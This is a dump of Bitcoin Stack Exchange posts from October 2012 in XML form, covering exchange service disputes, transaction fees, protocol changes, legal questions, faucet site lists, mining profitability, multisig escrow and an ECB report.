  <row Id="5206" PostTypeId="2" ParentId="5197" CreationDate="2012-10-28T16:37:58.590" Score="3" Body="&lt;p&gt;See &lt;a href=&quot;http://bitcoin-otc.com/viewratingdetail.php?nick=QuickBitcoins&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/viewratingdetail.php?nick=QuickBitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The owner of QuickBitcoins and his wife have been on #bitcoin-otc for quite some time. I've had successful trades with them before they ran QuickBitcoins, but never through the site itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any problem you might be having with the site, I'd definitely recommend contacting them. In my anecdotal experience, Aethero (the site's operator) and lucidlepidoptera (his wife) have had great communication. Try info@quickbitcoins.net, or jump on IRC and go to &lt;a href=&quot;http://webchat.freenode.net/?channels=#bitcoin-otc&quot; rel=&quot;nofollow&quot; title=&quot;#bitcoin-otc on freenode.net&quot;&gt;#bitcoin-otc on freenode.net&lt;/a&gt;. They're usually there with the nickname &quot;QuickBitcoins&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2131" LastEditorUserId="2131" LastEditDate="2012-10-28T18:37:50.177" LastActivityDate="2012-10-28T18:37:50.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5210" PostTypeId="2" ParentId="5197" CreationDate="2012-10-28T19:45:54.717" Score="2" Body="&lt;p&gt;We're very sorry about this experience. At the moment it doesn't look like we have any open cash in mail orders so either we have 1) Filled this order or 2) Not received the cash. Please feel free to email us at info@quickbitcoins.net or call us any time at 1-888-959-3166 to work out where the problem is. Please make sure to reference your order number.&lt;/p&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="196" LastEditDate="2013-01-24T09:08:08.410" LastActivityDate="2013-01-24T09:08:08.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5212" PostTypeId="1" AcceptedAnswerId="5213" CreationDate="2012-10-29T14:21:55.833" Score="11" ViewCount="6732" Body="&lt;p&gt;I have to send a small amount 0.00001 btc to someone. The client requires a fee of 0.0005 btc (much more than the amount). This seems absurd. There should be a way to send coins for free, as mentioned in several articles (&quot;no transaction fee&quot;). &#xA;Please let me know if it is possible to send BTC for free and which client to use.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2306" LastEditDate="2013-03-13T15:37:05.750" LastActivityDate="2017-12-15T17:56:57.960" Title="How to make free transactions?" Tags="|transactions|transaction-fees|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5213" PostTypeId="2" ParentId="5212" CreationDate="2012-10-29T15:26:56.503" Score="15" Body="&lt;p&gt;Those types of transactions are not desirable on the bitcoin network.   Each transaction takes up bandwidth and storage on each of the tens of thousands of nodes that exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were no fee, people that would like to harm Bitcoin would send those &quot;spammy&quot; types of transactions nonstop and the system would not be sustainable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the Bitcoin.org client takes a look at the transaction and if it is &quot;spammy&quot;, it requires a minimum fee of 0.0005 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take the Bitcoin.org source and modify it so that no fee is ever required (or build from the branch that does this already), however your transaction will be rejected by most nodes and mining pools, and thus will likely not ever make it into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, however, include many payment addresses in a single transaction. That way one small-ish fee will cover lost of small transactions, though as the amount of data the transaction consumes increases the fee may need to increase proportionally (0.0005 BTC per KB of data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be realistic though ... 0.0010 BTC is worth about a U.S. penny.  You are asking to send 0.00001 BTC -- an amount worth 1/100th of a penny.   There are very few reasons to ever need to send a payment to someone for a fraction of a penny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In instances where earnings occur a fraction of a penny at a time (e.g., for each ad impression, or for each mining share earned), an EWallet account with that service where they are earned (e.g., mining pool) can be used to accumulate those earnings until a payout threshold (e.g., 0.1 BTC) is reached.  Then the payout can be sent without paying any fee.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="323" LastEditDate="2012-10-31T10:59:08.040" LastActivityDate="2012-10-31T10:59:08.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5215" PostTypeId="1" CreationDate="2012-10-29T23:28:08.097" Score="2" ViewCount="250" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3945/how-could-the-bitcoin-protocol-be-changed-has-this-ever-occurred&quot;&gt;How could the bitcoin protocol be changed? Has this ever occurred?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Given Bitcoin is a system based on consensus, is it possible and under what situations would the Bitcoin community consider changing some of it's underlying 'hard-coded' laws. Things such as the number of Bitcoins in circulation the rate of Bitcoin production or the number of confirmations before a transaction is confirmed?&lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-10-30T00:54:47.350" Title="How malleable is the Bitcoin protocol?" Tags="|development|" AnswerCount="2" CommentCount="0" ClosedDate="2012-11-25T02:28:48.387" ContentLicense="CC BY-SA 3.0" />
  <row Id="5216" PostTypeId="2" ParentId="5215" CreationDate="2012-10-29T23:35:57.913" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The number of Bitcoins in circulation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would be almost impossible to change and would drastically undermine confidence in the Bitcoin system. I think we're stuck with this forever, or until Bitcoin becomes obsolete.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The rate of Bitcoin production&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, almost impossible to change.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or the number of confirmations before a transaction is confirmed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone is welcome to consider a transaction confirmed after as many or as few confirmations as they like. There is no reason this requires any kind of agreement.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-10-29T23:35:57.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5217" PostTypeId="2" ParentId="5152" CreationDate="2012-10-30T00:19:48.857" Score="0" Body="&lt;p&gt;In the United States, most criminal laws explicitly include one or more words which describe a guilty person's mental state at the time the crime was (allegedly) committed. Generally speaking, to commit a crime, the defendant must have intended to perform an/the act that constituted the crime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a prosecution for giving funds to Entity A would involve factual questions about whether or not the defendant knew that he was sending funds to A. The prosecution would probably introduce evidence that a wallet under the control of the defendant was used to send funds to A. This might be parts of the blockchain, or contemporaneous records like a &quot;Thanks for your donation!&quot; email, or pages saved in the defendant's browser's cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The defense would want to introduce evidence showing explaining what really happened (consistent with your &quot;I was tricked!&quot; hypothetical) - perhaps a copy of the webpage soliciting donations to Bitcoin address X, with pictures of cute puppies and kittens exhorting the viewer to donate to address X to buy food for the cute animals. Or maybe there's a solicitation for donations to a UN relief mission to help the starving children of region Y, but the address is really that of the Evil Turrurists. Or whatever. Since there's likely to be no significant dispute about who sent funds, or where the funds eventually ended up, the fight is going to be over what the defendant thought they were doing at the time the funds were sent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the US, the defense is allowed to not present evidence if they choose, and rely on the [in]sufficiency of the prosecution's evidence. So the defense could, if they chose, point out the possibility that the defendant didn't know who he was sending BTC to, or that he believed he was sending it to someone else. (* Also, include the standard dodge about &quot;air guitars&quot; and BTC's are fairy money and whatever.) In the real world, the &quot;computers are mysterious; we don't know what really happened or who did it; the defendant should be free!&quot; defense has been unsuccessful when applied to computer crime and pornography cases, so I don't think it'll be successful in the Bitcoin context, but there are always optimists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB - this means that it may be advantageous &lt;em&gt;not&lt;/em&gt; to hide/destroy records your BTC transactions, in the event that you want/need to demonstrate that they were innocent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not saying that this is how I think things ought to work - there is not much correlation between the way I wish that things worked and reality.&lt;/p&gt;&#xA;" OwnerUserId="1268" LastActivityDate="2012-10-30T00:19:48.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5218" PostTypeId="2" ParentId="1248" CreationDate="2012-10-30T00:34:01.920" Score="2" Body="&lt;p&gt;The court where NotHaus was tried is a District court (trial court). In the US federal system, trial court decisions are &lt;em&gt;persuasive&lt;/em&gt; authority only - this means that other courts can read them and discuss them and use them as guidance, but they are not required to follow them the way they would be an opinion from a Circuit Court of the US Supreme Court. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, trial courts make two kinds of determinations - regarding &lt;em&gt;issues of law&lt;/em&gt;, and &lt;em&gt;issues of fact&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issues of fact are going to be specific to that particular case and aren't meaningfully precedent for any other circumstance. An example would be &quot;we find that Col. Mustard killed Miss Scarlet in the kitchen with a lead pipe.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issues of law could be applied to other cases - e.g., &quot;the Court finds that a lead pipe is a deadly weapon.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's possible that the court in the NotHaus case ruled on issues of law in a fashion that could be extended to other cases - but many of the rulings were likely very fact-specific (and thus inapplicable to other cases), and even rulings on legal issues will function as suggestions to other trial courts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If NotHaus appeals his conviction, the appeal is more likely to result in binding precedent; but even that would only be binding on other courts within that appellate circuit, for the rest of the US it would just be persuasive (not mandatory). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bare fact that NotHaus was convicted is not, in itself, any sort of legal precedent, though it may be a clue about the US government's feelings about alternative currencies.&lt;/p&gt;&#xA;" OwnerUserId="1268" LastActivityDate="2012-10-30T00:34:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5219" PostTypeId="2" ParentId="5215" CreationDate="2012-10-30T00:54:47.350" Score="1" Body="&lt;p&gt;The easiest way to introduce changes to Bitcoin is almost certainly through creation of an alternative currency with a new name. This has been done already quite a number of times, such as with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Litecoin, probably the most successful alternative, which uses a CPU friendly mining algorithm instead of a GPU friendly one. Unfortunately this property allows botnets to mine coins more easily.&lt;/li&gt;&#xA;&lt;li&gt;SolidCoin, which when I last read about it was partially centalised and closed source.&lt;/li&gt;&#xA;&lt;li&gt;Ixcoin&lt;/li&gt;&#xA;&lt;li&gt;I0coin&lt;/li&gt;&#xA;&lt;li&gt;Geist geld&lt;/li&gt;&#xA;&lt;li&gt;PPCoin&lt;/li&gt;&#xA;&lt;li&gt;Freicoin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Litecoin seems reasonably mature and is still growing (at least, in hash rate). PPCoin is very new, and I don't understand its mechanism. I'm not sure what's happening with Freicoin. All the others listed above are essentially dead or dying as I understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also NameCoin which is designed to provide a decentralised domain registration system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It historically hasn't taken long for exchanges to become available for new cryptocurrencies, which allows for easy conversion from Bitcoin to the new currency. Other supporting tools like automatic payment systems tend to be developed later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, so far nothing has even come close to Bitcoin's popularity. If there was some amazing new feature provided by a new alt-coin that Bitcoin couldn't provide, I could imagine the switchover from Bitcoin being quite rapid. It's just that nothing has provided an adequate point of difference yet.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-10-30T00:54:47.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5220" PostTypeId="1" AcceptedAnswerId="5231" CreationDate="2012-10-30T08:57:29.040" Score="18" ViewCount="9513" Body="&lt;p&gt;Up till now I know two websites where one can get free bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitvisitor.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitvisitor.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://freebitcoins.appspot.com&quot; rel=&quot;nofollow&quot;&gt;https://freebitcoins.appspot.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freebitco.in&quot; rel=&quot;nofollow&quot;&gt;http://freebitco.in&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://takefreebitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://takefreebitcoin.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a comprehensive list of all such websites available somewhere?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2016-06-07T09:14:29.200" LastActivityDate="2016-06-07T09:14:29.200" Title="Where is a comprehensive list of websites for getting free bitcoins?" Tags="|services|websites|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5221" PostTypeId="1" AcceptedAnswerId="5224" CreationDate="2012-10-30T10:34:56.773" Score="-5" ViewCount="4761" Body="&lt;p&gt;My points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the &lt;a href=&quot;http://bitcoinx.com/profit/index.php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin mining profitability calculator&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;mining hardware comparisons&lt;/a&gt;, we see that with most of the hardware (GPUs, FPGAs) you can't generate enough bitcoins to compensate for their cost. In some cases, you can return your investment in 3 years or so (if you are lucky). I didn't even consider electricity cost. You can try it yourself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, there is ASIC technology, but nobody has seen it and it sounds too good to not be a scam.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I see only a few ways to mine bitcoins profitably:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Being an administrator of a computer network and using computers' idle time&lt;/li&gt;&#xA;&lt;li&gt;Organizing mining pools and earning a commission&lt;/li&gt;&#xA;&lt;li&gt;Using a virus to create mining botnet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can mining be profitable on currently available hardware?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="5406" LastEditorDisplayName="user3930" LastEditDate="2016-03-14T17:02:58.990" LastActivityDate="2016-03-14T17:02:58.990" Title="Is Bitcoin mining profitable yet?" Tags="|mining-profitability|mining-hardware|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5222" PostTypeId="2" ParentId="4752" CreationDate="2012-10-30T11:22:38.697" Score="2" Body="&lt;p&gt;Well, the theory is that you have a buyer, a seller, and an escrow holder. This is for transactions like Bitmit or OTC or Silk Road where the buyer and the seller do not trust one another enough to reliably complete the transaction. If you run the website and offer the goods, then you'd either need to just build a good enough rep that you don't need to offer escrow, or find a third party escrow provider to keep you honest. Once M-of-N gains traction in the client software, I could foresee business sprouting up just to handle Escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So buyer pays Escrow his fee first, then buyer, seller, and escrow build a 2-of-3 multisig address and buyer dumps his funds in. Goods are transacted, and if buyer and seller are both happy then they sign a transaction together releasing the multisig funds to seller. Escrow agent doesn't need to lift a finger when there's no dispute.&#xA;When there is a dispute, buyer and seller each craft and sign the transaction they think should happen (normally &quot;I get all the dough&quot;, but more complicated spends are possible too) and submit those to Escrow agent along with their evidence as to how the transaction happened. Escrow judges between them and signs the transaction he thinks should succeed. 2/3 signatures makes the transaction valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to &quot;how will the client software actually work&quot; and &quot;what will the GUI look like&quot;, that's a fine question! It appears as though crafting the GUI is the final major obstacle towards this becoming a more widespread transaction type. :3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/128ol5/in_the_wake_of_trouble_amllegal_trouble_felt_by/&quot; rel=&quot;nofollow&quot;&gt;I've been posting on /r/bitcoin&lt;/a&gt; and chatting with Ferroh and others, trying to work out just how to do it the hard way at the command line. :P&lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="3684" LastEditDate="2013-12-09T02:16:56.487" LastActivityDate="2013-12-09T02:16:56.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5224" PostTypeId="2" ParentId="5221" CreationDate="2012-10-30T16:13:23.760" Score="4" Body="&lt;p&gt;Mining profitability for any piece of hardware will depend on the future exchange rate and the future difficulty rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are not known and thus your question cannot be answered.  Mining is a form of speculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware cost is known and the operating costs (electricity) are known.  Also the block subsidy amount is known (50 BTC per block currently, 25 BTC beginning block 210,000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody knows how much ASIC capacity will be shipping, nor when.  So there is no way to know with certainty the future difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, of course, nobody can say what the future exchange rate will be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a safe projection is that ASICs will be coming, possibly in a matter of weeks, but several months from for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So making today an investment in GPUs or FGPAs is not likely going to &quot;pay for itself&quot; anytime soon, unless the acquisition cost is really really cheap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a $1,000 investment in ASICs could very easily return $1,000 or more worth of bitcoins over the next year or two.  But that is just an educated guess, or speculation.  Nobody can honestly say.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-30T16:13:23.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5225" PostTypeId="2" ParentId="5158" CreationDate="2012-10-30T17:19:44.857" Score="0" Body="&lt;p&gt;To save the copy/rename of your wallet.dat you could also use one of the alt-clients that have built in multiple wallet support. Both Armory and MultiBit show multiple wallets directly in the user interface. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-10-30T17:19:44.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5226" PostTypeId="2" ParentId="5172" CreationDate="2012-10-30T19:35:51.810" Score="2" Body="&lt;p&gt;BitMinter, hostname mint.bitminter.com on port 80 or 8332. You should also be able to mine over SSL on port 443 but you'll have to use bitminter.com as hostname or the certificate won't be valid.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-10-30T19:35:51.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5227" PostTypeId="2" ParentId="5220" CreationDate="2012-10-31T00:19:40.863" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://skude.se/BTC/&quot; rel=&quot;nofollow&quot;&gt;http://skude.se/BTC/&lt;/a&gt; provides links to a number of websites that provide free bitcoins, but generally doesn't include sites it doesn't get a referral bonus from. It also provides a timer that helps you determine when you can revisit each site to collect more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another site providing a good list in a readable format is here:&#xA;&lt;a href=&quot;http://bitcoiner.net/list&quot; rel=&quot;nofollow&quot;&gt;http://bitcoiner.net/list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-10-31T00:19:40.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5228" PostTypeId="1" CreationDate="2012-10-31T00:34:39.470" Score="5" ViewCount="176" Body="&lt;p&gt;On 29th Oct 2012, the European Central Bank released &lt;a href=&quot;http://www.ecb.europa.eu/pub/pdf/other/virtualcurrencyschemes201210en.pdf&quot;&gt;this report&lt;/a&gt; on virtual currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a summary of its comments on Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-10-31T09:00:46.200" Title="What is a brief summary of the ECB's report on virtual currency?" Tags="|government|ecb|regulation|currencies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5229" PostTypeId="2" ParentId="5158" CreationDate="2012-10-31T01:27:10.887" Score="0" Body="&lt;p&gt;It seems there's a more secure and easier method. I'm a noob so please correct any mistakes, but I would suggest he create a paper wallet on bitaddress.org, print it off or memorize it or keep it on a USB flashdrive. Then he can go to his Bitcoin client, send 8 bitcoins to the public address of that newly-created private key and that will be most secure. Even if his client is hacked or PC crashes, those 8 bitcoins are damn secure. &lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2012-10-31T01:27:10.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5230" PostTypeId="2" ParentId="5228" CreationDate="2012-10-31T01:47:33.687" Score="6" Body="&lt;p&gt;In the ECB's view,  (Bitcoin) can be used by business (criminals), customers (fraudsters) and savers (money launderers) to perform legal (illegal) activities, but lets ignore it until volume reaches a level where comparison with sovereign currencies reflects negatively on our reputation. The public will then expect us to regulate such digital (rogue) systems (schemes).  &lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2012-10-31T01:47:33.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5231" PostTypeId="2" ParentId="5220" CreationDate="2012-10-31T04:00:06.153" Score="8" Body="&lt;p&gt;Constantly updated list: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=90718.0&quot;&gt;https://bitcointalk.org/index.php?topic=90718.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Free Bitcoin sites:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin faucet.&#xA;One time payout per Google account. Explanation available at the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Daily Bitcoins.&#xA;Can be used once an hour now, and not just once a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinAd.com.&#xA;Can be used once an hour with registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Addict&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoiner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bunny Run.&#xA;See here for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free bitcoins - netlookup.se&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nakabot's Bitcoin Faucet&#xA;(Tor hidden service) NakaBot pays out a portion of its winnings in 0.001 increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free BitCoin Daily Scratchcard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kickme.to/goxkeygen&#xA;MtGox account needed to redeem the code one receives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoinpixels.com&#xA;0.01 BTC free when signing up to betfair. See here for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;memorydealers&#xA;Learn how here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omnicoins&#xA;Learn how here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cointicket.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitCrate *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoins.so *&#xA;Roll dice : same numbers - win 0.01&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paperco.in faucet *&#xA;Scan a QR code to reveal a MtGox code for 0.0007 BTC.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Gambling sites that give out free bitcoins ( freerolls etc. ) after you join&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Dragon's Tale&#xA;A casino site, but gives out small amounts for free that you can use to gamble with or withdraw to your own Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seals with Clubs&#xA;Seals has a free poker tournament every hour with a .05BTC prize. There are larger free tournaments from time to time.&#xA;See here for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strike Sapphire&#xA;See here for more info.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Not exactly Free but popular &quot;earn&quot; Bitcoin sites&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;BitVisitor&#xA;Earn Bitcoins for visiting websites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinTube.TV&#xA;Earn Bitcoins for watching TV&lt;/p&gt;&#xA;" OwnerUserId="1861" LastEditorUserId="1861" LastEditDate="2012-10-31T23:32:26.540" LastActivityDate="2012-10-31T23:32:26.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5232" PostTypeId="1" CreationDate="2012-10-31T08:08:56.317" Score="1" ViewCount="976" Body="&lt;p&gt;We all know how the &lt;a href=&quot;http://en.wikipedia.org/wiki/File%3aTotal_bitcoins_over_time.png&quot; rel=&quot;nofollow&quot;&gt;money supply graph in Bitcoin looks like&lt;/a&gt; - exponentially reaching 21,000,00 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the same graph behave for &lt;a href=&quot;http://ppcoin.org/&quot; rel=&quot;nofollow&quot;&gt;PPCoin&lt;/a&gt; (A fork that also involves Proof Of Stake)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T13:58:14.237" LastActivityDate="2014-07-09T19:08:58.287" Title="How does the graph of money supply of PPCoin look like?" Tags="|peercoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5233" PostTypeId="1" AcceptedAnswerId="5236" CreationDate="2012-10-31T08:48:30.600" Score="9" ViewCount="1422" Body="&lt;p&gt;Just one question. Where and how is the TIMESTAMP of a transaction generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reliable to develop a transactions notification system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;em&gt;(I mean the time node below)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&#xA;  &quot;hash&quot;:&quot;44ffca26a089ccc806a7861e715d237d9f63b373085492f2ee82901171e8d661&quot;,&#xA;  &quot;ver&quot;:1, &quot;vin_sz&quot;:1, &quot;vout_sz&quot;:2, &quot;size&quot;:257,&#xA;  &quot;relayed_by&quot;:&quot;127.0.0.1&quot;, &quot;tx_index&quot;:31066681,&quot;result&quot;:0,&#xA;  &lt;strong&gt;&quot;time&quot;:1351624745&lt;/strong&gt;,&quot;block_height&quot;:205754, &quot;inputs&quot;:[ { &quot;prev_out&quot;:{&#xA;  &quot;type&quot;:0, &quot;addr&quot;:&quot;1PAPY4UN1NtFwRibWRuFT1CkgK3NvnMpoC&quot;,&lt;br&gt;&#xA;  &quot;value&quot;:879000000, &quot;tx_index&quot;:31055718, &quot;n&quot;:1 } } ], &quot;out&quot;:[ {&#xA;  &quot;addr&quot;:&quot;1ELop4RiQtsVnqPJZHqErCvmJZPHsVn2YT&quot;,   &quot;value&quot;:5000000, &#xA;  &quot;type&quot;:0 } ,{ &quot;addr&quot;:&quot;1PAPY4UN1NtFwRibWRuFT1CkgK3NvnMpoC&quot;,&lt;br&gt;&#xA;  &quot;value&quot;:874000000,  &quot;type&quot;:0 } ] },&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2012-10-31T15:24:47.013" Title="Which is the reliability of a transaction timestamp?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5234" PostTypeId="2" ParentId="5228" CreationDate="2012-10-31T09:00:46.200" Score="2" Body="&lt;p&gt;The ECB is a monopolistic institution: it holds a monopoly over the issuing of money on Europe. As a byproduct, any possible competitor is going to A) Be detained and its activity stopped B) Be criminalized or C) Be condemned. Since technology makes impossible to Government to take over Bitcoin, you can expect (C) for a long, long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin gets popular in the near future, because of the utter destruction of fiat currency governments are doing, you can even expect to be criminalized or highly taxed for being a bitcoin user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Free and competitive money/currency is the nightmare of regulators (looters)&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2012-10-31T09:00:46.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5235" PostTypeId="2" ParentId="5184" CreationDate="2012-10-31T09:20:54.323" Score="0" Body="&lt;p&gt;Price changes because the relationship between supply and demand is altered. This might take place because of organic or productive demand, or by speculation. Think twice before blaming those damn malignant speculators: they are extremely neccessary. Speculators operate over time or space to smooth out supply sortages or price peaks. Speculators make possible things to reach fair value faster. The answer is at simple as it gets: the bitcoin was overpriced a few days ago.&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2012-10-31T09:20:54.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
